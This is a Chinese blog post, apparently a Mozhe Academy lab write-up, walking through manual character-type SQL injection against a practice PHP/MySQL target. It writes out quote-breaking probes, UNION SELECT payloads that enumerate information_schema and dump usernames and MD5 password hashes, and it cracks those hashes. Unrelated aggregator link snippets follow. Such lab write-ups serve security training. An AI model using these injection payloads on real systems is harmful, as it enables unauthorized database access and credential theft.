SQL手工注入漏洞测试(MySQL数据库-字符型)-墨者

news2025/1/1 21:49:37

———靶场专栏———


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

        墨者学院

简介:

        安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MySQL的数据结构;
4.了解字符串的MD5加解密;

解题方向:

        手工进行SQL注入测试,获取管理密码登录。


解题思路:

        这是字符型注入,可能会涉及到注释字符,嗯~ o(* ̄▽ ̄*)o,MD5肯定就是MD5加密喽~

先找到注入点,再用语句尝试查询数据库信息,再用select查找我们所需要的管理员登陆信息。


解题步骤:

        

        一、找到注入点

靶场~启动!!!(我的三个币啊/(ㄒoㄒ)/~~)

.

这里有个停机维护的通知,我们点进去看一眼。

http://124.70.91.203:49986/new_list.php?id=tingjigonggao

找到了,id=tingjigonggao,这可能是一个注入点,尝试一下。

http://124.70.91.203:49986/new_list.php?id=tingjigonggao' and '1'='1

输入后页面正常显示,因为sql语序检查的是一个字符串,而字符串的表示为'text',用单引号括起来的。假如此网站sql语句为 (瞎写的,不知道对不对)

$id = $_GET 'id'

$SQL = select * from user where id = $id

那么原来输入的就是

$SQL =$_GET select * from user where 'tingjigonggao'

我们验证时输入的是

$SQL =$_GET select * from user where 'tingjigonggao' and '1'='1'

这时候正常显示,说明我们的注入语句是正确的,再尝试'tingjigonggao' and '1'='2',验证注入点到底是不是在这里。

http://124.70.91.203:49986/new_list.php?id=tingjigonggao' and '1'='2

OK,(机智.jpg)说明注入点就是在id = ' ' 这里。


        二、order by猜字段

有点繁琐,直接把最终url信息发出来了。

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,2,3,4'

order by 可以查询数据表的字段数量,一来可以找到有回显的字段,二来方便摸清正在访问的数据表中有几个列。

根据结果显示,正在访问的数据表有四个列,其中有第二列和第三列是有回显的。


        三、查询数据库信息

version()                                数据库版本

database()                        数据库名称

user()                                数据库用户

@@version_compile_os       操作系统

例:

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,version(),3,4'

我们拿到的信息为

数据库版本:10.2.15-MariaDB-log

数据库名称:mozhe_discuz_stormgroup

数据库用户:root@localhost

操作系统:Linux

可以看到是root账户,管理员账户,是有权限进行增删改查和其他操作的。嗯?我们题目不是mysql数据库吗?管他呢。可以理解为MariaDB是mysql的升级版(其实不是),向下兼容。


        四、查数据库表

MySQL高版本(5.0以上)都有一个称为information_schema的数据库,其中存放着数据库所有的表名和列名信息。我们去查查看一下。

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'--+

解析为,查 “表名” 来自“information_schema数据库下面的tables表” 限定为 数据库名=“mozhe_discuz_stormgroup”。后面的“--+”,“--”是注释后面的符号,“+”代表的是空格

我们再用group_concat()函数将所有都展示出来。

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'--+


        五、查询用户信息表

用户信息就在stormgroup_member(译为风暴组成员),notice(注意)里面是没有的,别问,问就是试过了。

开叉,呸~,开查!!!

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member'--+

id,name,password,status

至此我们拿到的信息为mozhe_discuz_stormgroup数据库下面有个数据库表stormgroup_member下面有数据库列id,name,password,status。

接下来,我们就去mozhe_discuz_stormgroup数据库下的stormgroup_member表查name,和password就行了。


        六、查用户数据

url码为:

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member--+

拿到两个账号和密码

①mozhe,356f589a7df439f6f744ff19bb8092c0

②mozhe,a8eed3d6ee9831d950d5b4dc2e27e506

密码进行MD5解密后为

①mozhe,dsan13

②mozhe,437917

md5在线解密破解,md5解密加密


        

        七、登陆尝试

①mozhe,dsan13

②mozhe,437917

成功拿到key。


总结:

        难度:★★★☆☆☆☆☆☆☆

        解析:本身难度不是很高,但是手工注入容易出错(字母不好打对),熟练就好了。

        有需要工具的请私信。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1275352.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《冬日“峰“会,有情岁月》丰谷酒品鉴会以酒会友

近日,由四川广播电视台金熊猫教育管理有限公司、丰谷酒业联合呈现的《冬日“峰“会,有情岁月》丰谷酒品鉴会在成都市橡树林举行。 品鉴会上,来自建筑界相关人士齐聚一堂,共同探讨交流把酒言欢、共品丰谷美酒。 据悉,参加本次活动的嘉宾都是四川乃至全国建筑界相关人士,在就餐时…

Vue3 Router跳转传参

最近遇到这个问题router跳转传参,真是要了老命了。 根据网上各位大神给出的方法,试了 import { useRouter } from vue-routerconst router useRouter()//1. 无法跳转 router.push(name:,params:{})//2. 可以跳转, 但需要在定义router同时定义占位符&a…

搭建nfs文件目录共享

搭建nfs文件目录共享 一、简介 NFS,英文全称是Network File System,中文全称是网络文件系统,是FreeBSD支持的文件系统中的一种,它允许网络中的计算机之间通过TCP/IP网络共享资源,在NFS应用中,本地NFS的客…

运算放大器和常见运放电路

关于运算放大器 运算放大器(Operational Amplifier), 简称运放, 是一种直流耦合, 差模输入, 单端输出(Differential-in, single-ended output)的高增益电压放大器件. 运放能产生一个比输入端电势差大数十万倍的输出电势. 因为刚发明时主要用于加减法等运算电路中, 因而得名运算…

微信号被封了怎么办

13-7 常在河边走,哪有不湿鞋,做为经常用微信做电商客服的,或者经常在微信上和顾客谈钱的,总是会被微信后台重点关注,一不小心就有可能被封号。 如果遇到太倒霉的时候,永久封号了,这个时候微信…

C++模板—函数模板、类模板

目录 一、函数模板 1、概念 2、格式 3、实例化 4、模板参数的匹配 二、类模板 1、定义格式 2、实例化 交换两个变量的值,针对不同类型,我们可以使用函数重载实现。 void Swap(double& left, double& right) {double tmp left;left ri…

WebDriver+Selenium实现浏览器自动化

前言 Selenium是一款可以自动化操作浏览器的开源项目,最初的目的是浏览器功能的自动化测试,但是随着项目的发展,人们根据它的特性也用来做一些更多的有意思的功能而不仅仅是UI的自动化测试工具。就像Selenium官方网站上描述的那样&#xff0…

python 使用reportlab打造29页图文并茂pdf(全网reportlab最强pdf自动化生成代码)

python 使用reportlab打造29页图文并茂pdf(全网reportlab最强pdf自动化生成代码) 这次项目所使用的代码如果同志们可以灵活使用,基本上可以解决百分之九十以上的pdf模板自动化生成。 最近博主,做了一个项目,使用reportlab制作pd…

【Linux】:信号(三)捕捉

信号捕捉 一.sigaction1.基本使用2.sa_mask字段 二.可重入函数三.volatile四.SIGCHLD信号 承接上文 果信号的处理动作是用户自定义函数,在信号递达时就调用这个函数,这称为捕捉信号。由于信号处理函数的代码是在用户空间的,处理过程比较复杂,举例如下: 用户程序注册了SIGQUIT信…

【Python表白系列】无限弹窗,满屏表白代码来啦(完整代码)

文章目录 满屏表白代码环境需求完整代码详细分析系列文章 满屏表白代码 环境需求 python3.11.4PyCharm Community Edition 2023.2.5pyinstaller6.2.0(可选,这个库用于打包,使程序没有python环境也可以运行,如果想发给好朋友的话需…

浮点运算误差

输出所有形如aabb的4位完全平方数(即前两位数字相等,后两位数字也相等) 解决这个问题首先需要表示aabb这个变量,只需要定义一个变量n存储即可,另一个问题就是如何判断n是否为完全平方数? 第一种思路是先求出…

100道接口测试面试题值得收藏!

HTTP, HTTPS协议 什么是DNSHTTP协议怎么抓取HTTPS协议说出请求接口中常见的返回状态码HTTP协议请求方式HTTP和HTTPS协议区别HTTP和HTTPS实现机有什么不同POST和GET的区别HTTP请求报文与响应报文格式什么是HTTP协议无状态协议?怎么解决HTTP协议无状态协议常见的POST提交数据方…

3D悬停相册

先上图 代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>3D悬停相册</title><style>*{margin: 0;padding: 0;box-sizing: border-box;}body{display: flex;justify-cont…

msvcp140.dll无法继续执行代码是什么意思?六个解决方法分享

今天我想和大家分享的是如何解决由于缺失msvcp140.dll无法继续执行代码的6个办法。 首先&#xff0c;让我们来了解一下msvcp140.dll文件。msvcp140.dll是微软Visual C 2015运行库的一部分&#xff0c;它包含了许多用于支持各种应用程序的函数和类。当您在计算机上运行某些程序…

【ICCV2023论文阅读】XNet(能跑通代码)

这里写目录标题 论文阅读摘要介绍方法overviewwhy use wavelet transform?融合方法用于全监督分割和半监督分割可行性分析 效果局限性总结 代码跑通去掉分布式训练生成低频和高频图片产生数据集改读取数据的位置损失函数添加自己数据集的信息结果 ps:我现在不知道自己研究方向…

<JavaEE> 什么是线程安全?产生线程不安全的原因和处理方式

目录 一、线程安全的概念 二、线程不安全经典示例 三、线程不安全的原因和处理方式 3.1 线程的随机调度和抢占式执行 3.2 修改共享数据 3.3 关键代码或指令不是“原子”的 3.4 内存可见性和指令重排序 四、Java标准库自带的线程安全类 一、线程安全的概念 线程安全是指…

WebGL开发交互式艺术品技术方案

开发交互式艺术品需要使用 WebGL 技术&#xff0c;并结合其他前端技术以实现丰富的用户体验。以下是一个可能的技术方案&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.WebGL 框架&#xff1a; 选…

业余爱好-社会工程管理记账报税

税务问题笔记 印花税税费申报及缴纳财务和行为税合并纳税申报增值税及附加税费申报企业所得税季度A类申报残疾人就业保障金申报财务报表个税申报 印花税 印花税是对在经济活动和经济交往中书立、领受具有法律效力的凭证的行为征收的一种税。 税费申报及缴纳 财务和行为税合并…

String类 ---java

目录 一. 常用的字符串的构造 二. 字符串的源代码 三. 字符串比较 1. 是不能比较字符串的值的 ​编辑 2.比较两个字符串 --- compareTo() 3. 忽略大小写比较 ---compareToIgnoreCase() 四. 字符串转化 1. 数字转字符串 valueOf() 2. 字符串转数字 3. 小写转大写 to…

【C指针】深入理解指针(最终篇)数组指针指针运算题解析(一)

&#x1f308;write in front :&#x1f50d;个人主页 &#xff1a; 啊森要自信的主页 ✏️真正相信奇迹的家伙&#xff0c;本身和奇迹一样了不起啊&#xff01; 欢迎大家关注&#x1f50d;点赞&#x1f44d;收藏⭐️留言&#x1f4dd;>希望看完我的文章对你有小小的帮助&am…